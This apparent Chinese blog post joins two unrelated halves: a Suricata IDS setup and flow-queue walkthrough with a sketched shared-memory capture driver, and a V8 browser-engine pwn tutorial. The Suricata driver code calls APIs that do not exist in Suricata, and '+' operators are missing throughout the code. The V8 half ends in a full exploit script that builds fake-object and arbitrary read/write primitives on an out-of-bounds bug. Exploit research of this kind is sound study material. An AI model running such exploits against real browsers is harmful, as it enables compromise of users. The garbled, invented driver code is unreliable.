Suricata通过共享内存获取流量
Introduction
Suricata是一个高性能的网络入侵检测和防御系统(IDS/IPS)。它是由OISF开发,完全开源,并且可以免费使用。https://github.com/OISF/suricata
Suricata由线程和队列组成,数据包在线程间传递通过队列实现。线程由多个线程模块组成,每个线程模块实现一种功能。
Suricata有多种运行模式,这些模式与抓包驱动和IDS/IPS选择相关联。抓包驱动如:pcap, pcap file, nfqueue, ipfw, dpdk或者一个特有的抓包驱动等。Suricata在启动时只能选择某个运行模式。如-i选项表示pcap,-r表示pcapfile,-q表示nfqueue等。每一种运行模式都会初始化一些threads, queues等。模式的具体任务是由线程模块来完成。根据线程和线程模块的组织方式的不同,我们可以./suricata –list-runmodes查看运行模式,运行模式又细分为”autofp”, “single”,“wokers”。
Suricata 针对每种运行模式实现了对应的 ThreadVars 数据结构,从而在线程程度上操作数据。对应的数据结构分别位于对应模式的source文件里面,命名为:模式名字 ThreadVars。
共享内存(shared memory)指在多处理器的计算机系统中,可以被不同中央处理器(CPU)访问的大容量内存。由于多个CPU需要快速访问存储器,这样就要对存储器进行缓存(Cache)。任何一个缓存的数据被更新后,由于其他处理器也可能要存取,共享内存就需要立即更新,否则不同的处理器可能用到不同的数据。共享内存是 Unix下的多进程之间的通信方法,这种方法通常用于一个程序的多进程间通信,实际上多个程序间也可以通过共享内存来传递信息。
Suricata安装
添加 Suricata PPA(个人包档案)并安装 Suricata,添加 OISF(Open Information Security Foundation)的 PPA:
代码语言:javascript复制sudo add-apt-repository ppa:oisf/suricata-stable
sudo apt update
安装 Suricata:
代码语言:javascript复制sudo apt install suricata -y
安装完成后,运行以下命令以验证 Suricata 是否正确安装:
代码语言:javascript复制suricata --build-info
Suricata配置
创建配置文件的备份,修改之前一定要先备份
代码语言:javascript复制sudo cp /etc/suricata/suricata.yaml /etc/suricata/suricata.yaml.bak
Suricata的可执行文件默认在/usr/bin下,配置文件默认在/etc/suricata下
可以通过Suricata内置的测试模式检查配置文件和其他规则的有效性
代码语言:javascript复制sudo suricata -T -c /etc/suricata/suricata.yaml -v
在/etc/suricata/suricata.yaml中可以更改要监控的网络接口
运行前的测试
以下是我笔记本上的各个网络接口
这里我用wifi0接口测试能否正常运行
代码语言:javascript复制sudo suricata -c /etc/suricata/suricata.yaml -i eth0
Suricata运行模式
- Suricata有多种运行模式,这些模式与抓包驱动和IDS/IPS选择相关联。抓包驱动如:pcap, pcap file, nfqueue,ipfw, dpdk或者一个特有的抓包驱动等。Suricata在启动时只能选择某个运行模式。如-i选项表示pcap, -r表示pcapfile,-q表示nfqueue等。每一种运行模式都会初始化一些threads,queues等。模式的具体任务是由线程模块来完成。根据线程和线程模块的组织方式的不同,运行模式又细分为”autofp”, “single”,“wokers”.
IDS(入侵检测系统)模式
- 特点:仅检测不阻止。
- 数据获取:通常使用 Libpcap 或 AF_PACKET 抓包。
- 流程:网络接口 -> 抓包驱动 -> Suricata -> 检测引擎 -> 日志/报警。
- 优势:简单配置,不影响流量。
- 劣势:不能阻止攻击,只能告警。
IPS(入侵防御系统)模式
- 特点:检测并阻止。
- 数据获取:通常使用 NFQUEUE 或 AF_PACKET 抓包。
- 流程:网络接口 -> 抓包驱动 -> Suricata -> 检测引擎 -> 阻止/通过流量。
- 优势:可以阻止攻击。
- 劣势:配置复杂,可能影响网络性能。
流的分配
当suricata收到一个特定协议(ipv6
, icmp
, sctp
,tcp
,udp
)的packet后,会计算一个流的hash值,设置PKT_WANTS_FLOW
标志。
void FlowSetupPacket(Packet *p)
{
p->flags |= PKT_WANTS_FLOW;
p->flow_hash = FlowGetHash(p);
}
FlowWorker
会基于PKT_WANTS_FLOW
标志,进行流的查找或分配。
static TmEcode FlowWorker(ThreadVars *tv, Packet *p, void *data, PacketQueue *preq, PacketQueue *unused)
{
/* handle Flow */
if (p->flags & PKT_WANTS_FLOW) {
FLOWWORKER_PROFILING_START(p, PROFILE_FLOWWORKER_FLOW);
FlowHandlePacket(tv, fw->dtv, p);
if (likely(p->flow != NULL)) {
DEBUG_ASSERT_FLOW_LOCKED(p->flow);
if (FlowUpdate(tv, fw, p) == TM_ECODE_DONE)
通过对流进行哈希检索:查找包含流指针的哈希桶
代码语言:javascript复制void FlowHandlePacket(ThreadVars *tv, DecodeThreadVars *dtv, Packet *p)
{
...
Flow *f = FlowGetFlowFromHash(tv, dtv, p, &p->flow);
...
p->flags |= PKT_HAS_FLOW;
return;
}
Flow *FlowGetFlowFromHash(ThreadVars *tv, DecodeThreadVars *dtv, const Packet *p, Flow **dest)
{
Flow *f = NULL;
/* get our hash bucket and lock it */
const uint32_t hash = p->flow_hash;
FlowBucket *fb = &flow_hash[hash % flow_config.hash_size];
FBLOCK_LOCK(fb);
如果桶内没有任何流,分配一条新的流
代码语言:javascript复制if (fb->head == NULL) {
f = FlowGetNew(tv, dtv, p);
if (f == NULL) {
FBLOCK_UNLOCK(fb);
return NULL;
}
/* flow is locked */
fb->head = f;
fb->tail = f;
/* got one, now lock, initialize and return */
FlowInit(f, p);
f->flow_hash = hash;
f->fb = fb;
FlowUpdateState(f, FLOW_STATE_NEW);
FlowReference(dest, f);
FBLOCK_UNLOCK(fb);
return f;
}
将包与找到的流进行比较
代码语言:javascript复制 /* see if this is the flow we are looking for */
if (FlowCompare(f, p) == 0) {
Flow *pf = NULL; /* previous flow */
while (f) {
...
if (FlowCompare(f, p) != 0) {
...
return f;
}
流的队列
spare队列
spare队列存储着备用的、未使用的、预分配的流。
代码语言:javascript复制FlowQueue flow_spare_q;
FlowQueueInit(&flow_spare_q);
入队
flow_spare_q
的入队的操作,主要发生在:
初始化时的预分配
代码语言:javascript复制void FlowInitConfig(char quiet)
{
...
/* pre allocate flows */
for (i = 0; i < flow_config.prealloc; i ) {
...
Flow *f = FlowAlloc();
if (f == NULL) {
SCLogError(SC_ERR_FLOW_INIT, "preallocating flow failed: %s", strerror(errno));
exit(EXIT_FAILURE);
}
FlowEnqueue(&flow_spare_q,f);
}
流管理检查时的补足
代码语言:javascript复制int FlowUpdateSpareFlows(void)
{
...
if (len < flow_config.prealloc) {
toalloc = flow_config.prealloc - len;
uint32_t i;
for (i = 0; i < toalloc; i ) {
Flow *f = FlowAlloc();
if (f == NULL)
return 0;
FlowEnqueue(&flow_spare_q,f);
}
流的回收,即从flow_recycle_q
到flow_spare_q
static TmEcode FlowRecycler(ThreadVars *th_v, void *thread_data)
{
...
while ((f = FlowDequeue(&flow_recycle_q)) != NULL) {
FLOWLOCK_WRLOCK(f);
(void)OutputFlowLog(th_v, ftd->output_thread_data, f);
FlowClearMemory (f, f->protomap);
FLOWLOCK_UNLOCK(f);
FlowMoveToSpare(f);
recycled_cnt ;
}
}
出队
flow_spare_q
的出队的操作,主要发生在:
流的分配
代码语言:javascript复制static Flow *FlowGetNew(ThreadVars *tv, DecodeThreadVars *dtv, const Packet *p)
{
...
/* get a flow from the spare queue */
f = FlowDequeue(&flow_spare_q);
代码语言:javascript复制Flow *FlowGetFromFlowKey(FlowKey *key, struct timespec *ttime, const uint32_t hash)
{
...
/* No existing flow so let's get one new */
f = FlowDequeue(&flow_spare_q);
释放多余的分配的流
代码语言:javascript复制int FlowUpdateSpareFlows(void)
{
...
} else if (len > flow_config.prealloc) {
tofree = len - flow_config.prealloc;
uint32_t i;
for (i = 0; i < tofree; i ) {
/* FlowDequeue locks the queue */
Flow *f = FlowDequeue(&flow_spare_q);
if (f == NULL)
return 1;
进程退出
代码语言:javascript复制void FlowShutdown(void)
{
...
/* free queues */
while((f = FlowDequeue(&flow_spare_q))) {
FlowFree(f);
}
recycle队列
recycle队列存储着将传递到清理、日志线程的流。
代码语言:javascript复制FlowQueue flow_recycle_q;
FlowQueueInit(&flow_recycle_q);
入队
flow_recycle_q
的入队的操作,主要发生在:
流超时进行回收
代码语言:javascript复制static uint32_t FlowManagerHashRowTimeout(Flow *f, struct timeval *ts,
...
/* no one is referring to this flow, use_cnt 0, removed from hash
* so we can unlock it and pass it to the flow recycler */
FLOWLOCK_UNLOCK(f);
FlowEnqueue(&flow_recycle_q, f);
进程退出时,对流hash桶中的流进行回收处理
代码语言:javascript复制static uint32_t FlowManagerHashRowCleanup(Flow *f)
{
...
/* no one is referring to this flow, use_cnt 0, removed from hash
* so we can unlock it and move it to the recycle queue. */
FLOWLOCK_UNLOCK(f);
FlowEnqueue(&flow_recycle_q, f);
出队
flow_recycle_q
的出队的操作,主要发生在:
流的回收,即从flow_recycle_q
到flow_spare_q
static TmEcode FlowRecycler(ThreadVars *th_v, void *thread_data)
{
...
while ((f = FlowDequeue(&flow_recycle_q)) != NULL) {
FLOWLOCK_WRLOCK(f);
(void)OutputFlowLog(th_v, ftd->output_thread_data, f);
FlowClearMemory (f, f->protomap);
FLOWLOCK_UNLOCK(f);
FlowMoveToSpare(f);
recycled_cnt ;
}
}
进程退出
代码语言:javascript复制void FlowShutdown(void)
{
...
while((f = FlowDequeue(&flow_recycle_q))) {
FlowFree(f);
}
实现 Suricata 从共享内存中读取流量数据的 demo
添加新抓包驱动
首先,需要在 Suricata 源代码中添加一个新的抓包驱动。找到 source-af-packet.c
或其他现有抓包驱动文件,作为新驱动实现的模板。
文件 source-sharedmem.c
#include "suricata-common.h"
#include "source.h"
#include "decode.h"
#include "util-sharedmem.h" // 假设我们有一个处理共享内存的工具
// 定义抓包驱动的初始化函数
int SharedMemInit(ConfNode *conf, const char *device, void **data) {
// 初始化共享内存
*data = SharedMemAttach(device);
if (*data == NULL) {
return -1;
}
return 0;
}
// 定义抓包驱动的关闭函数
void SharedMemClose(void *data) {
// 关闭共享内存
SharedMemDetach(data);
}
// 定义抓包驱动的读取函数
int SharedMemRead(void *data, Packet *p) {
// 从共享内存中读取数据
return SharedMemFetch(data, p);
}
// 定义抓包驱动的配置结构
CaptureInterface shared_mem_iface = {
.name = "sharedmem",
.Init = SharedMemInit,
.Close = SharedMemClose,
.Read = SharedMemRead,
};
// 在 Suricata 初始化时注册抓包驱动
void TmModuleSharedMemRegister(void) {
TmModuleRegisterCaptureInterface(&shared_mem_iface);
}
然后,在 tm-threads.c
文件中注册新的抓包驱动:
代码语言:javascript复制extern void TmModuleSharedMemRegister(void);
void TmThreadsRegisterAll(void) {
// ... 其他抓包驱动注册
TmModuleSharedMemRegister();
}
添加新的运行模式
找到 Suricata 源代码中的 runmodes.c
文件,并添加新的运行模式,例如 sharedmem
#include "runmode-sharedmem.h"
void RunModeRegisterAll(void) {
// ... 其他运行模式注册
RunModeRegister("sharedmem", RunModeSharedMemAutoFp);
}
在 runmode-sharedmem.c
文件中实现新的运行模式:
#include "suricata-common.h"
#include "threads.h"
#include "source.h"
#include "runmode.h"
void RunModeSharedMemAutoFp(void) {
// 配置线程和队列
if (InitAutoFp() < 0) {
return;
}
// 创建和启动线程
TmThreadSpawn(&shared_mem_iface, NULL);
// 处理线程队列
TmThreadsSlotScheduler();
}
修改 ThreadVars 数据结构
为新的运行模式创建对应的 ThreadVars
数据结构:
typedef struct SharedMemThreadVars_ {
// 定义线程变量
void *shared_mem;
} SharedMemThreadVars;
在 runmode-sharedmem.c
文件中使用该数据结构:
#include "runmode-sharedmem.h"
int InitAutoFp(void) {
// 初始化线程变量
SharedMemThreadVars *tv = SCMalloc(sizeof(SharedMemThreadVars));
if (tv == NULL) {
return -1;
}
// 初始化共享内存
tv->shared_mem = SharedMemAttach("/path/to/shared_mem");
if (tv->shared_mem == NULL) {
return -1;
}
return 0;
}
实现从共享内存读取流量数据的 demo
代码语言:javascript复制#include <stdio.h>
#include <stdlib.h>
#include "util-sharedmem.h"
int main(void) {
// 附加到共享内存
void *shared_mem = SharedMemAttach("/path/to/shared_mem");
if (shared_mem == NULL) {
fprintf(stderr, "Failed to attach shared memoryn");
return -1;
}
// 读取数据包
Packet p;
while (SharedMemFetch(shared_mem, &p) == 0) {
// 处理数据包
ProcessPacket(&p);
}
// 分离共享内存
SharedMemDetach(shared_mem);
return 0;
}
Pwn-浏览器内核V8
V8环境搭建
编译V8
Ubuntu 18.04操作系统
下载用于Chromium开发的工具depot_tools,用于V8的编译
代码语言:javascript复制git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
将 depot_tools
添加到环境变量 PATH
的末尾
export PATH=$PATH:<path to depot_tools>
挂好代理,进入到 depot_tools
。直接安装会 ninja
报错需要先将版本回退到 138bff28
** 并且将 DEPOT_TOOLS_UPDATE
设为 0 。之后更新 depot_tools
。
git reset --hard 138bff28
export DEPOT_TOOLS_UPDATE=0
gclient
下载 v8
,这个时间比较长,下载完后目录下会多一个 v8
文件夹。
fetch v8
首先安装浏览器然后再网址栏中输入 chrome://version
查看版本,例如:
112.0.5615.87 (正式版本) (64 位) (cohort: Bypass)
打开 github 的 chrome 项目,搜索版本号并切换至相应版本。
然后在项目根目录下的 DEPS
文件中查看 V8
版本:
编译 v8
,这里选的 release
版本。debug
版本改为 x64.debug
,32 为版本将 x64
改为 ia32
。如果调试漏洞的话, 最好选择 release
版本 因为 debug
版本可能会有很多检查。
另外如果出现路径错误需要切换到 ./tools/dev/
路径再进行编译。不过这样编译最终生成的 d8
在 tools/dev/out/x64.release
目录下。
编译生成的 d8
在 ./out/x64.release/d8
中。
调试V8
在 ~/.gdbinit
添加 v8
的调试插件:
source` `/path/to/v8/tools/gdbinit
source` `/path/to/v8/tools/gdb-v8-support``.py
常见参数:
-
--allow-natives-syntax
开启原生API (用的比较多) -
--trace-turbo
跟踪生成TurboFan IR -
--print-bytecode
打印生成的bytecode -
--shell
运行脚本后切入交互模式 - 更多参数可以参考
--help
调试 js 脚本时可以采用如下命令:
代码语言:javascript复制gdb ./d8
r --allow-natives-syntax --shell ./exp.js
安装 turbolizer
turbolizer
是一个可视化分析 JS 优化的工具,安装命令如下:
sudo apt install npm
cd /path/to/v8/tools/turbolizer
sudo npm install n -g
sudo n 16.20.0 # sudo n latest
sudo npm i
sudo npm run-script build
由于 Ubuntu18.04 默认的 node
版本过低,需要安装 16.20.0
版本
最后需要启动一个 web 服务器,根据需要 8000 可以换成其它端口
代码语言:javascript复制python -m SimpleHTTPServer 8000
编写一个 js 脚本:
%OptimizeFunctionOnNextCall
内置函数可以直接触发强行触发优化。
function add(a, b) {
return a b;
}
//%OptimizeFunctionOnNextCall(add);
for (let i = 0; i < 10000000; i ) {
add(i, i 1);
}
运行 js 脚本并使用 --trace-turbo
参数
.``/d8` `--trace-turbo --allow-natives-syntax .``/test``.js
此时会生成如下文件:
在浏览器(最好使用 Chrome 浏览器,系统自带的火狐浏览器可能有问题。)中访问 http://127.0.0.1:8000/path/to/v8/tools/turbolizer/
(注意,这里的路径是相对于 python 启动的 web 服务的路径的相对路径而不是绝对路径) ,然后在其中打开该文件就可以进行分析。
任意地址对象伪造漏洞复现
如果存在任意地址对象伪造漏洞(fake_object
原语),则我们可以在一个大的 DoubleArray
中伪造一个 DoubleArray
然后实现 offset_of
,arbitrary_offset_read
,arbitrary_offset_write
原语。首先我们先创建一个大的 DoubleArray
并在里面伪造一个 DoubleArray
。
这里需要注意的是:通过调试可知,我们只需要伪造 map
的前 16 字节即可。而 map
的前 16 字节基本是不变的。
let spray_array = new Array(0xf700).fill(1.1);
let spray_array_data_offset = 0x00202141n 7n; // spray_array 的 element 中成员的起始地址
let map_offset = spray_array_data_offset 0x1000n; // 伪造的 map 在沙箱中的偏移
let fake_double_array_offset = map_offset 0x1000n; // 伪造的 fake_double_array 在沙箱中的偏移
// 伪造 fake_double_array 的 map ,这里只需要伪造前 16 字节。
spray_array[(map_offset - spray_array_data_offset) / 8n] = u2d(0x1a04040400002141n);
spray_array[(map_offset - spray_array_data_offset) / 8n 1n] = u2d(0xa0007ff1100083an);
// fake_double_array 的 map 指针指向伪造的 map
spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n] = u2d(map_offset | 1n | (0x00002259n << 32n));
// 利用任意地址对象伪造漏洞(fake_object)泄露出 fake_double_array
let fake_double_array = trigger(fake_double_array_offset | 1n);
offset_of
原语实现:我们只需要再申请一个大的 ObjectArray
(我们称之为 spray_object_array
)然后让伪造的 DoubleArray
的 elements
指针指向 spray_object_array
的 elements
(elements
在沙箱内偏移固定)造成类型混淆。
let spray_object_array = ``new` `Array(0xf700).fill({});
let object_array_element_offset = 0x00282141n;
function` `offset_of(object) {
``// 将 object 添加到 spray_object_array 的 elements 中
``spray_object_array[0] = object;
``// fake_double_array 的 elements 指针指向 spray_object_array 的 elements
``spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n 1n] = u2d(object_array_element_offset | 1n | (0x00000002n << 32n));
``// 从 fake_double_array 读出 object 在沙箱中的偏移
``return` `d2u(fake_double_array[0]) & 0xFFFFFFFFn;
}
8. `arbitrary_offset_read` 和 `arbitrary_offset_write` 原语实现:直接通过 `apray_array` 修改 `elements` 然后读写 `fake_double_array` 实现。
9. ![](https://strongwillpro.oss-cn-beijing.aliyuncs.com/img/20240713212409.png)
function arbitrary_offset_read(address) {
spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n 1n] = u2d((address - 8n) | 1n | (0x00000002n << 32n));
return d2u(fake_double_array[0]);
}
function arbitrary_offset_write(address, value) {
spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n 1n] = u2d((address - 8n) | 1n | (0x00000002n << 32n));
fake_double_array[0] = u2d(value);
10. 完整exp
let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);
function d2u(value) {
data_view.setFloat64(0, value);
return data_view.getBigUint64(0);
}
function u2d(value) {
data_view.setBigUint64(0, value);
return data_view.getFloat64(0);
}
function hex(val) {
return '0x' val.toString(16).padStart(16, "0");
}
let oob_array = [.1];
let object_array = [{}];
let double_array = [.1];
let rw_array = [.1];
oob_array.len(0x1337);
let object_array_map = d2u(oob_array[8]);
let double_array_map = d2u(oob_array[12]);
console.log("[*] object array map: " hex(object_array_map & 0xFFFFFFFFn));
console.log("[*] double array map: " hex(double_array_map & 0xFFFFFFFFn));
function trigger(offset) {
oob_array[12] = u2d(double_array_map);
double_array[0] = u2d(offset);
oob_array[12] = u2d((object_array_map & 0xFFFFFFFFn) | (double_array_map & 0xFFFFFFFF00000000n));
return double_array[0];
}
let spray_array = new Array(0xf700).fill(1.1);
let spray_array_data_offset = 0x00202141n 7n;
let map_offset = spray_array_data_offset 0x1000n;
let fake_double_array_offset = map_offset 0x1000n;
spray_array[(map_offset - spray_array_data_offset) / 8n] = u2d(0x1a04040400002141n);
spray_array[(map_offset - spray_array_data_offset) / 8n 1n] = u2d(0xa0007ff1100083an);
spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n] = u2d(map_offset | 1n | (0x00002259n << 32n));;
let fake_double_array = trigger(fake_double_array_offset | 1n);
let spray_object_array = new Array(0xf700).fill({});
let object_array_element_offset = 0x00282141n;
function offset_of(object) {
spray_object_array[0] = object;
spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n 1n] = u2d(object_array_element_offset | 1n | (0x00000002n << 32n));
return d2u(fake_double_array[0]) & 0xFFFFFFFFn;
}
function arbitrary_offset_read(address) {
spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n 1n] = u2d((address - 8n) | 1n | (0x00000002n << 32n));
return d2u(fake_double_array[0]);
}
function arbitrary_offset_write(address, value) {
spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n 1n] = u2d((address - 8n) | 1n | (0x00000002n << 32n));
fake_double_array[0] = u2d(value);
}
let a = [1, 2, 3, 4];
% DebugPrint(a);
arbitrary_offset_write(offset_of(a), 0xdeadbeefn);
// % DebugPrint(oob_array);
// console.log(hex(offset_of(oob_array)));
% SystemBreak();